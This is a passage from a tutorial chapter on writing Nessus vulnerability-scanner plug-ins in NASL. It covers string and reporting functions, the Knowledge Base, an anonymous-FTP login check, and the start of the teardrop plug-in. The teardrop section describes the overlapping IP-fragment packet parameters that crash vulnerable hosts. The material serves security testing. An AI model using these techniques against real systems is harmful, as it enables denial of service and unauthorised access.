&lt;br /&gt;
The &amp;lt;tt&amp;gt;insstr( )&amp;lt;/tt&amp;gt; function replaces a part of a given string with another string, starting from a given index and an optional end index. For example:&lt;br /&gt;
&lt;br /&gt;
 newstring=insstr(&amp;quot;I hate my cat. I love cats.&amp;quot;,&amp;quot;dog&amp;quot;,10,12);&lt;br /&gt;
 display (newstring,&amp;quot;\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
displays:&lt;br /&gt;
&lt;br /&gt;
 I hate my dog. I love cats.&lt;br /&gt;
&lt;br /&gt;
Another function, &amp;lt;tt&amp;gt;strstr( )&amp;lt;/tt&amp;gt; , accepts two strings as parameters, searches for the occurrence of the second string with the first given string, and returns the second string starting from where the occurrence was found. For example, the following returns &amp;lt;tt&amp;gt;http is 80&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 strstr(&amp;quot;The default port for http is 80&amp;quot;,&amp;quot;http&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;stridx( )&amp;lt;/tt&amp;gt; function simply returns the index of a found substring. For example:&lt;br /&gt;
&lt;br /&gt;
 stridx(&amp;quot;A dog and a cat&amp;quot;, &amp;quot;and&amp;quot;,0)&lt;br /&gt;
&lt;br /&gt;
returns the value &amp;lt;tt&amp;gt;6&amp;lt;/tt&amp;gt; because the string &amp;lt;tt&amp;gt;and&amp;lt;/tt&amp;gt; occurs in &amp;quot;&amp;lt;tt&amp;gt;A dog and a cat&amp;lt;/tt&amp;gt;&amp;quot; from the sixth position, starting from the beginning (i.e., from the index 0).&lt;br /&gt;
&lt;br /&gt;
You can split strings into parts by using the &amp;lt;tt&amp;gt;split( )&amp;lt;/tt&amp;gt; function. The &amp;lt;tt&amp;gt;split( )&amp;lt;/tt&amp;gt; function simply splits a given string into parts when given a particular separator. Take a look at the following example:&lt;br /&gt;
&lt;br /&gt;
 the_string=&amp;quot;root::0:root&amp;quot;;&lt;br /&gt;
 split_string=split(mystr,sep:&amp;quot;:&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
In the preceding example, the value of &amp;lt;tt&amp;gt;split_string[0]&amp;lt;/tt&amp;gt; will be &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt;:, the value of &amp;lt;tt&amp;gt;split_string[1]&amp;lt;/tt&amp;gt; will be :, the value of &amp;lt;tt&amp;gt;split_string[2]&amp;lt;/tt&amp;gt; will be &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;:, and the value of &amp;lt;tt&amp;gt;split_string[3]&amp;lt;/tt&amp;gt; will be &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
The function &amp;lt;tt&amp;gt;substr( )&amp;lt;/tt&amp;gt; accepts one string as an argument along with a start index. The end index is optional. This function returns a substring of the given string, which contains the original string starting from the given start index up until the end index. If the end index is not provided, &amp;lt;tt&amp;gt;substr( )&amp;lt;/tt&amp;gt; returns the substring up until the end of the given string. For example:&lt;br /&gt;
&lt;br /&gt;
 substr(&amp;quot;Hi there! How are you?&amp;quot;,10);&lt;br /&gt;
&lt;br /&gt;
returns &amp;lt;tt&amp;gt;How are you?&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Another function, &amp;lt;tt&amp;gt;str_replace()&amp;lt;/tt&amp;gt; , replaces a part of a given string with another string depending upon a pattern. Here is an example of how to use &amp;lt;tt&amp;gt;str_replace( )&amp;lt;/tt&amp;gt; to replace the first occurrence of &amp;lt;tt&amp;gt;cat&amp;lt;/tt&amp;gt; with &amp;lt;tt&amp;gt;dog&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 newstring=str_replace(string: &amp;quot;I hate my cat. I love cats.&amp;quot;,find: &amp;quot;cat&amp;quot;,&lt;br /&gt;
 replace:&amp;quot;dog&amp;quot;,count:1);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;count&amp;lt;/tt&amp;gt; parameter is optional. If it is not specified, &amp;lt;tt&amp;gt;str_replace( )&amp;lt;/tt&amp;gt; replaces all occurrences.&lt;br /&gt;
&lt;br /&gt;
==== Conversions ====&lt;br /&gt;
&lt;br /&gt;
To convert a number into a string representation of its hexadecimal equivalent, use the &amp;lt;tt&amp;gt;hex( )&amp;lt;/tt&amp;gt; function. The following example returns the string &amp;lt;tt&amp;gt;0x0f&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 hex(15);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;hexstr( )&amp;lt;/tt&amp;gt; function accepts a string as a parameter and returns another string that contains the hexadecimal equivalent of each character's ASCII value. For example, the ASCII equivalent of &amp;quot;j&amp;quot; in hexadecimal is &amp;quot;6a,&amp;quot; and &amp;quot;k&amp;quot; is &amp;quot;6b,&amp;quot; so the following example returns the string &amp;lt;tt&amp;gt;6a6b&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 hexstr(&amp;quot;jk&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;int( )&amp;lt;/tt&amp;gt; function takes in a string as an argument and returns an integer. For example, the following causes the variable &amp;lt;tt&amp;gt;x&amp;lt;/tt&amp;gt; to be assigned 25 as its value:&lt;br /&gt;
&lt;br /&gt;
 x=int(&amp;quot;25&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;ord( )&amp;lt;/tt&amp;gt; function accepts one string as an argument, and returns the ASCII equivalent of the first character in the string. The main purpose of the function is to calculate the ASCII code of a given character, so it is usually invoked with a string whose length is equal to 1. For example, the following returns &amp;lt;tt&amp;gt;97&amp;lt;/tt&amp;gt;, which is the decimal equivalent of the ASCII code for the character &amp;quot;a&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ord(&amp;quot;a&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
It is possible to convert a set of variables into a string by using the &amp;lt;tt&amp;gt;raw_string( )&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;string( )&amp;lt;/tt&amp;gt; functions. Arguments passed to the &amp;lt;tt&amp;gt;raw_string( )&amp;lt;/tt&amp;gt; function are interpreted, and a string is eventually returned. If you pass an integer to this function, it will use its ASCII character equivalent. For example, the following returns the string &amp;lt;tt&amp;gt;abcd&amp;lt;/tt&amp;gt; because the ASCII equivalent of the decimal 100 is &amp;quot;d&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 raw_string(&amp;quot;abc&amp;quot;,100);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;string( )&amp;lt;/tt&amp;gt; function, on the other hand, converts given integers into strings, so the following returns the string &amp;lt;tt&amp;gt;abc100&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 string(&amp;quot;abc&amp;quot;,100);&lt;br /&gt;
&lt;br /&gt;
Quite often, a given string will need to be converted to uppercase, and for this purpose, you can use the &amp;lt;tt&amp;gt;toupper( )&amp;lt;/tt&amp;gt; function. For example:&lt;br /&gt;
&lt;br /&gt;
 caps_string=toupper('get / http/1.0\r\n');&lt;br /&gt;
&lt;br /&gt;
returns the string &amp;lt;tt&amp;gt;GET / HTTP/1.0\r\n&amp;lt;/tt&amp;gt;. Conversely, you can use the &amp;lt;tt&amp;gt;tolower()&amp;lt;/tt&amp;gt; function to convert a string to lower case.&lt;br /&gt;
&lt;br /&gt;
=== Plug-in Descriptions ===&lt;br /&gt;
&lt;br /&gt;
This section covers NASL functions that you can use to provide plug-in descriptions to the end user. When Nessus runs a script, the value of the variable &amp;lt;tt&amp;gt;description&amp;lt;/tt&amp;gt; is set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;. When you run a script using the NASL interpreter, &amp;lt;tt&amp;gt;description&amp;lt;/tt&amp;gt; is not defined. Therefore, the functions presented in this section should be defined in an &amp;lt;tt&amp;gt;if (description)&amp;lt;/tt&amp;gt; block. Here is an example:&lt;br /&gt;
&lt;br /&gt;
 if (description)&lt;br /&gt;
 {&lt;br /&gt;
     script_id(99999);&lt;br /&gt;
     script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
     script_name(english:&amp;quot;Checks for /src/passwd.inc&amp;quot;);&lt;br /&gt;
     desc[&amp;quot;english&amp;quot;]=&amp;quot;/src/passwd.inc is usually installed by XYZ web &lt;br /&gt;
 application and contains username and password information in clear text. &lt;br /&gt;
 &lt;br /&gt;
 Solution: Configure your web-browser to not serve .inc files.&lt;br /&gt;
 &lt;br /&gt;
 Risk factor: High&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
     script_description(english:desc[&amp;quot;english&amp;quot;]);&lt;br /&gt;
     script_summary(english:&amp;quot;Checks for the existence of /src/passwd.inc&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
     script_category(ACT_GATHER_INFO);&lt;br /&gt;
     script_copyright(english:&amp;quot;This script is Copyright (c)2004 Nitesh &lt;br /&gt;
             Dhanjani&amp;quot;);&lt;br /&gt;
     script_family(english:&amp;quot;CGI abuses&amp;quot;);&lt;br /&gt;
     script_require_ports(&amp;quot;Services/www&amp;quot;,80);&lt;br /&gt;
 &lt;br /&gt;
     exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;script_id( )&amp;lt;/tt&amp;gt; function sets a unique ID for the plug-in. Every plug-in's value must be unique. In this case, we use a high number, &amp;lt;tt&amp;gt;99999&amp;lt;/tt&amp;gt;, to ensure a distinct value. The &amp;lt;tt&amp;gt;script_version( )&amp;lt;/tt&amp;gt; function sets the version number of the plug-in. It is a good idea to update this number to reflect the latest version of the plug-in. The &amp;lt;tt&amp;gt;script_description()&amp;lt;/tt&amp;gt; function sets the description of the plug-in. The Nessus client shows this description when the user queries a plug-in. Similarly, the &amp;lt;tt&amp;gt;script_summary()&amp;lt;/tt&amp;gt; function produces a summary description of the plug-in. The &amp;lt;tt&amp;gt;script_category()&amp;lt;/tt&amp;gt; function sets the plug-in's category as required by Nessus. (See the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Script Categories|Section 1.11.3]] earlier in this chapter for more information on applicable plug-in categories.) The &amp;lt;tt&amp;gt;script_copyright()&amp;lt;/tt&amp;gt; function sets author copyright information.&lt;br /&gt;
&lt;br /&gt;
Nessus categorizes plug-ins into different families to help sort the vulnerability-check plug-ins. In our example, we set it to &amp;lt;tt&amp;gt;CGI abuses&amp;lt;/tt&amp;gt; to indicate an abuse of a CGI-based web application. See ''http://cgi.nessus.org/plugins/dump.php3?viewby=family'' to view a list of already-available plug-ins that have been categorized by family.&lt;br /&gt;
&lt;br /&gt;
Nessus can optimize scans if you select the appropriate checkbox in the &amp;quot;Scan options&amp;quot; tab of the GUI client. When this option is enabled, Nessus scans for vulnerabilities related to the applications running on the open ports of the target host. We use the &amp;lt;tt&amp;gt;script_require_ports()&amp;lt;/tt&amp;gt; function to set the port related to the vulnerability, which in our case is set to &amp;lt;tt&amp;gt;www&amp;lt;/tt&amp;gt;, for HTTP traffic. Another function, namely &amp;lt;tt&amp;gt;script_require_udp_ports( )&amp;lt;/tt&amp;gt;, is also available, and you can use it to set applicable lists of UDP ports that need to be open for the script to be executed by Nessus.&lt;br /&gt;
&lt;br /&gt;
You can use additional description functions when writing Nessus plug-ins. Take a look at the &amp;quot;NASL2 Reference Manual&amp;quot; available at ''http://nessus.org/documentation/'' for an exhaustive list.&lt;br /&gt;
&lt;br /&gt;
The functions described so far set various description values for the plug-in. Click the appropriate plug-in name from the list of plug-ins displayed in the Plugins tab of the Nessus client to view them.&lt;br /&gt;
&lt;br /&gt;
=== Knowledge Base ===&lt;br /&gt;
&lt;br /&gt;
Quite often, plug-ins need to communicate with each other and with the Nessus engine. The two functions presented here allow for plug-ins to define items in a shared memory space that is referred to as the ''Knowledge Base'' .&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;set_kb_item( )&amp;lt;/tt&amp;gt; function expects two parameters as input: &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;value&amp;lt;/tt&amp;gt;. For example:&lt;br /&gt;
&lt;br /&gt;
 set_kb_item(name:&amp;quot;SSL-Enabled&amp;quot;,value:TRUE);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; function expects one parameter as input: &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt;. For example:&lt;br /&gt;
&lt;br /&gt;
 value = get_kb_item(name:&amp;quot;SSL-Enabled&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;tt&amp;gt;set_kb_item( )&amp;lt;/tt&amp;gt; is called repeatedly with the same name, a list is created in the Knowledge Base memory. Note that if &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; is called to retrieve such a list, the plug-in process spawns a new child process for every item that is retrieved. The &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; function will return a single value to each spawned plug-in process. In this way, each plug-in process can deal with each element of the list in parallel. This behavior is by design and might change in the future.&lt;br /&gt;
&lt;br /&gt;
It is not possible to call &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; to retrieve an item set by &amp;lt;tt&amp;gt;set_kb_item( )&amp;lt;/tt&amp;gt; in the same plug-in process. This is because NASL forks a new process to set the item in the Knowledge Base. This behavior is by design and might change in the future. Plug-in authors should not be affected by this because if a plug-in sets a particular item in the Knowledge Base, it is assumed that the plug-in is already aware of the particular item.&lt;br /&gt;
&lt;br /&gt;
You can use the &amp;lt;tt&amp;gt;get_kb_list( )&amp;lt;/tt&amp;gt; function to retrieve multiple entries from the Knowledge Base. For example:&lt;br /&gt;
&lt;br /&gt;
 tcp_ports = get_kb_list(&amp;quot; Ports/tcp/*&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== Reporting Functions ===&lt;br /&gt;
&lt;br /&gt;
Once a specific vulnerability is found, a plug-in needs to report it to the Nessus engine. The &amp;lt;tt&amp;gt;security_note( )&amp;lt;/tt&amp;gt; function reports a miscellaneous issue to the user. For example, the &amp;lt;tt&amp;gt;popserver_detect.nasl&amp;lt;/tt&amp;gt; plug-in calls &amp;lt;tt&amp;gt;security_note( )&amp;lt;/tt&amp;gt; if it detects that the remote server is running a POP3 server:&lt;br /&gt;
&lt;br /&gt;
 security_note(port:port, data:report);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; parameter accepts a string that will be displayed to the user viewing the Nessus report after scanning is complete. In this case, the string is stored in the variable &amp;lt;tt&amp;gt;report&amp;lt;/tt&amp;gt;, which contains text that lets the user know a POP3 server has been found on the target host. The function also accepts another parameter, &amp;lt;tt&amp;gt;proto&amp;lt;/tt&amp;gt;, which should be set to &amp;lt;tt&amp;gt;tcp&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;udp&amp;lt;/tt&amp;gt;. If &amp;lt;tt&amp;gt;proto&amp;lt;/tt&amp;gt; is not specified, &amp;lt;tt&amp;gt;tcp&amp;lt;/tt&amp;gt; is assumed.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;security_warning( )&amp;lt;/tt&amp;gt; function is used to indicate a mild security flaw. It accepts the same parameters as &amp;lt;tt&amp;gt;security_note( )&amp;lt;/tt&amp;gt; . For example, the &amp;lt;tt&amp;gt;ftp_anonymous.nasl&amp;lt;/tt&amp;gt; plug-in invokes &amp;lt;tt&amp;gt;security_warning( )&amp;lt;/tt&amp;gt; if the target host is running an FTP server with the &amp;lt;tt&amp;gt;anonymous&amp;lt;/tt&amp;gt; account enabled.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;security_hole( )&amp;lt;/tt&amp;gt; function is used to indicate a severe security flaw. It also accepts the same parameters as &amp;lt;tt&amp;gt;security_note( )&amp;lt;/tt&amp;gt;. As an example, &amp;lt;tt&amp;gt;test-cgi.nasl&amp;lt;/tt&amp;gt; attempts to exploit a web server that has the ''test-cgi'' CGI script installed. The plug-in tests to see if it can exploit the ''test-cgi'' web script to view the host's root directory listing. It is obvious that such a vulnerability is a severe security flaw, so the plug-in invokes &amp;lt;tt&amp;gt;security_hole( )&amp;lt;/tt&amp;gt; to indicate a major flaw.&lt;br /&gt;
&lt;br /&gt;
== Nessus Plug-ins ==&lt;br /&gt;
&lt;br /&gt;
Now that you understand NASL specifics, this section will help you understand how some of the important NASL plug-ins work. Once you understand how some of the existing plug-ins work, you will be able to refer to them when you need to write your own. The [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Installing Your Own Plug-in|Section 1.13.5]] later in this chapter quickly recaps all steps necessary to write and install your own plug-in from scratch.&lt;br /&gt;
&lt;br /&gt;
=== Probing for Anonymous FTP Access ===&lt;br /&gt;
&lt;br /&gt;
Administrators sometimes forget to harden services that allow remote access. Some of these services come with default usernames and passwords. A Nessus plug-in can detect such vulnerabilities by attempting to log on to the remote service with a default username or password. For example, the ''ftp_anonymous.nasl'' plug-in connects to an FTP server to check if anonymous access is allowed:&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # This script was written by Renaud Deraison &amp;lt;deraison@cvs.nessus.org&amp;gt;&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # See the Nessus Scripts License for details&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 if(description)&lt;br /&gt;
 {&lt;br /&gt;
  script_id(10079);&lt;br /&gt;
  script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
  script_cve_id(&amp;quot;CAN-1999-0497&amp;quot;);&lt;br /&gt;
  script_name(english:&amp;quot;Anonymous FTP enabled&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
  script_description(english:&amp;quot;&lt;br /&gt;
 This FTP service allows anonymous logins. If you do not want to share data&lt;br /&gt;
 with anyone you do not know, then you should deactivate the anonymous account,&lt;br /&gt;
 since it can only cause troubles.&lt;br /&gt;
 &lt;br /&gt;
 Risk factor : Low&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
  script_summary(english:&amp;quot;Checks if the remote ftp server accepts anonymous logins&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
  script_category(ACT_GATHER_INFO);&lt;br /&gt;
  script_family(english:&amp;quot;FTP&amp;quot;);&lt;br /&gt;
  script_copyright(english:&amp;quot;This script is Copyright (C) 1999 Renaud Deraison&amp;quot;);&lt;br /&gt;
  script_dependencie(&amp;quot;find_service.nes&amp;quot;, &amp;quot;logins.nasl&amp;quot;, &amp;quot;smtp_settings.nasl&amp;quot;);&lt;br /&gt;
 script_require_ports(&amp;quot;Services/ftp&amp;quot;, 21);&lt;br /&gt;
  exit(0);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 #&lt;br /&gt;
 # The script code starts here :&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 include(&amp;quot;ftp_func.inc&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 port = get_kb_item(&amp;quot;Services/ftp&amp;quot;);&lt;br /&gt;
 if(!port)port = 21;&lt;br /&gt;
 &lt;br /&gt;
 state = get_port_state(port);&lt;br /&gt;
 if(!state)exit(0);&lt;br /&gt;
 soc = open_sock_tcp(port);&lt;br /&gt;
 if(soc)&lt;br /&gt;
 {&lt;br /&gt;
  domain = get_kb_item(&amp;quot;Settings/third_party_domain&amp;quot;);&lt;br /&gt;
  r = ftp_log_in(socket:soc, user:&amp;quot;anonymous&amp;quot;, pass:string(&amp;quot;nessus@&amp;quot;, domain));&lt;br /&gt;
  if(r)&lt;br /&gt;
  {&lt;br /&gt;
   port2 = ftp_get_pasv_port(socket:soc);&lt;br /&gt;
   if(port2)&lt;br /&gt;
   {&lt;br /&gt;
    soc2 = open_sock_tcp(port2, transport:get_port_transport(port));&lt;br /&gt;
    if (soc2)&lt;br /&gt;
    {&lt;br /&gt;
     send(socket:soc, data:'LIST /\r\n');&lt;br /&gt;
     listing = ftp_recv_listing(socket:soc2);&lt;br /&gt;
     close(soc2);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   data = &amp;quot;&lt;br /&gt;
 This FTP service allows anonymous logins. If you do not want to share data&lt;br /&gt;
 with anyone you do not know, then you should deactivate the anonymous account,&lt;br /&gt;
 since it may only cause troubles.&lt;br /&gt;
 &lt;br /&gt;
 &amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   if(strlen(listing))&lt;br /&gt;
   {&lt;br /&gt;
    data += &amp;quot;The content of the remote FTP root is :&lt;br /&gt;
 &lt;br /&gt;
 &amp;quot; + listing;&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
  data += &amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 Risk factor : Low&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   security_warning(port:port, data:data);&lt;br /&gt;
   set_kb_item(name:&amp;quot;ftp/anonymous&amp;quot;, value:TRUE);&lt;br /&gt;
   user_password = get_kb_item(&amp;quot;ftp/password&amp;quot;);&lt;br /&gt;
   if(!user_password)&lt;br /&gt;
   {&lt;br /&gt;
    set_kb_item(name:&amp;quot;ftp/login&amp;quot;, value:&amp;quot;anonymous&amp;quot;);&lt;br /&gt;
    set_kb_item(name:&amp;quot;ftp/password&amp;quot;, value:string(&amp;quot;nessus@&amp;quot;, domain));&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  close(soc);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
For more information on the description functions used in the preceding code, see the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Plug-in Descriptions|Section 1.12.2]] earlier in this chapter. The plug-in tests whether the remote host is running an FTP service by querying the Knowledge Base for &amp;lt;tt&amp;gt;Services/ftp&amp;lt;/tt&amp;gt;. A plug-in that might have executed previously can set the value of &amp;lt;tt&amp;gt;Services/ftp&amp;lt;/tt&amp;gt; to a port number where the FTP service was found. If the &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; function does not return a value, 21 is assumed.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;get_port_state( )&amp;lt;/tt&amp;gt; function returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; if the given port is closed, in which case the plug-in exits by calling &amp;lt;tt&amp;gt;exit(0)&amp;lt;/tt&amp;gt;. Otherwise, a TCP connection is established using the &amp;lt;tt&amp;gt;open_sock_tcp()&amp;lt;/tt&amp;gt; function. The variable &amp;lt;tt&amp;gt;domain&amp;lt;/tt&amp;gt; is set to a string returned by querying the Knowledge Base for the item &amp;lt;tt&amp;gt;Settings/third_party_domain&amp;lt;/tt&amp;gt;, which is set to &amp;lt;tt&amp;gt;example.com&amp;lt;/tt&amp;gt; by default. See the &amp;lt;tt&amp;gt;smtp_settings.nasl&amp;lt;/tt&amp;gt; plug-in for details.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;ftp_log_in( )&amp;lt;/tt&amp;gt; function is used to log in to the remote FTP server on the target host. The function accepts three parameters: the username (&amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt;), password (&amp;lt;tt&amp;gt;pass&amp;lt;/tt&amp;gt;), and port number (&amp;lt;tt&amp;gt;socket&amp;lt;/tt&amp;gt;). It returns &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; if it is able to successfully authenticate to the remote FTP sever, and &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; otherwise. The username that is passed to &amp;lt;tt&amp;gt;ftp_log_in( )&amp;lt;/tt&amp;gt; in this case is &amp;lt;tt&amp;gt;anonymous&amp;lt;/tt&amp;gt; because the plug-in tests for anonymous access. The password that is sent will be the string &amp;lt;tt&amp;gt;nessus@example.com&amp;lt;/tt&amp;gt;. If &amp;lt;tt&amp;gt;ftp_log_in()&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;, the plug-in invokes the &amp;lt;tt&amp;gt;ftp_get_pasv_port()&amp;lt;/tt&amp;gt; function, which sends a &amp;lt;tt&amp;gt;PASV&amp;lt;/tt&amp;gt; command to the FTP server. This causes the FTP server to return a port number to be used to establish a &amp;quot;passive&amp;quot; FTP session. This port number is returned by &amp;lt;tt&amp;gt;ftp_get_pasv_port()&amp;lt;/tt&amp;gt; , and is stored in the variable &amp;lt;tt&amp;gt;port2&amp;lt;/tt&amp;gt;. The &amp;lt;tt&amp;gt;open_sock_tcp()&amp;lt;/tt&amp;gt; function is used to establish a TCP connection with the target host on the port number specified by &amp;lt;tt&amp;gt;port2&amp;lt;/tt&amp;gt;. Next, a &amp;lt;tt&amp;gt;LIST&amp;lt;/tt&amp;gt; string is printed to the socket descriptor (&amp;lt;tt&amp;gt;soc2&amp;lt;/tt&amp;gt;) using the &amp;lt;tt&amp;gt;send( )&amp;lt;/tt&amp;gt; function. The FTP server then returns a listing of the current directory, which is stored in the &amp;lt;tt&amp;gt;listing&amp;lt;/tt&amp;gt; string variable by invoking the &amp;lt;tt&amp;gt;ftp_recv_listing( )&amp;lt;/tt&amp;gt; function.&lt;br /&gt;
&lt;br /&gt;
The plug-in calls &amp;lt;tt&amp;gt;security_warning( )&amp;lt;/tt&amp;gt; to indicate a security warning to the Nessus user. See the &amp;quot;Reporting Functions&amp;quot; section later in this chapter for more details on reporting functions. The &amp;lt;tt&amp;gt;ftp/anonymous&amp;lt;/tt&amp;gt; item is set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; in the Knowledge Base to indicate that the remote host is running an FTP server that allows anonymous access. This is useful in case another plug-in needs to know this information. The plug-in also checks for the &amp;lt;tt&amp;gt;ftp/password&amp;lt;/tt&amp;gt; item, and if this is not set, the plug-in sets the value of &amp;lt;tt&amp;gt;ftp/login&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ftp/password&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;anonymous&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;nessus@example.com&amp;lt;/tt&amp;gt;, respectively.&lt;br /&gt;
&lt;br /&gt;
=== Using Packet Forgery to Perform a Teardrop Attack ===&lt;br /&gt;
&lt;br /&gt;
NASL provides an API for constructing network packets to probe for specific vulnerabilities that require unique network packets to be forged. In this section, we will look at the &amp;lt;tt&amp;gt;teardrop.nasl&amp;lt;/tt&amp;gt; plug-in which uses a packet-forging API provided by NASL to perform a &amp;quot;teardrop&amp;quot; attack against the target host. To launch a teardrop attack, two types of UDP packets are sent repeatedly to the host. The first UDP packet contains the &amp;lt;tt&amp;gt;IP_MF&amp;lt;/tt&amp;gt; (More Fragments) flag in its IP header, which signifies that the packet has been broken into other fragments that will arrive independently. The IP offset of the first UDP packet is set to 0, and the length field of the IP header is set to 56. The second packet does not have the &amp;lt;tt&amp;gt;IP_MF&amp;lt;/tt&amp;gt; flag set in its IP header, and it contains an offset of 20. The second UDP packet's IP length is set to 23. Note that these packets are erroneous because the second UDP packet overlaps with the first, but it's smaller in size than the first packet. Hosts susceptible to this attack are known to crash while attempting to realign fragmented packets of unequal length.be found at ''http://www.insecure.org/sploits/linux.fragmentation.teardrop.html''.&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # This script was written by Renaud Deraison &amp;lt;deraison@cvs.nessus.org&amp;gt;&lt;br /&gt;
 #&lt;br /&gt;
 # See the Nessus Scripts License for details&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 if(description)&lt;br /&gt;
 {&lt;br /&gt;
  script_id(10279);&lt;br /&gt;
  script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
  script_bugtraq_id(124);&lt;br /&gt;
  script_cve_id(&amp;quot;CAN-1999-0015&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
  name[&amp;quot;english&amp;quot;] = &amp;quot;Teardrop&amp;quot;;&lt;br /&gt;
  name[&amp;quot;francais&amp;quot;] = &amp;quot;Teardrop&amp;quot;;&lt;br /&gt;
  script_name(english:name[&amp;quot;english&amp;quot;], francais:name[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
  desc[&amp;quot;english&amp;quot;] = &amp;quot;It was possible&lt;br /&gt;
 to make the remote server crash&lt;br /&gt;
 using the 'teardrop' attack.&lt;br /&gt;
 &lt;br /&gt;
 An attacker may use this flaw to&lt;br /&gt;
 shut down this server, thus&lt;br /&gt;
 preventing your network from&lt;br /&gt;
 working properly.&lt;br /&gt;
 &lt;br /&gt;
 Solution : contact your operating&lt;br /&gt;
 system vendor for a patch.&lt;br /&gt;
 &lt;br /&gt;
 Risk factor : High&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
  desc[&amp;quot;francais&amp;quot;] = &amp;quot;Il s'est avéré&lt;br /&gt;
 possible de faire planter la&lt;br /&gt;
 machine distante en utilisant&lt;br /&gt;
 l'attaque 'teardrop'.&lt;br /&gt;
 &lt;br /&gt;
 Un pirate peut utiliser cette&lt;br /&gt;
 attaque pour empecher votre&lt;br /&gt;
 réseau de fonctionner normallement.&lt;br /&gt;
 &lt;br /&gt;
 Solution : contactez le vendeur&lt;br /&gt;
 de votre OS pour un patch.&lt;br /&gt;
 &lt;br /&gt;
 Facteur de risque : Elevé&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
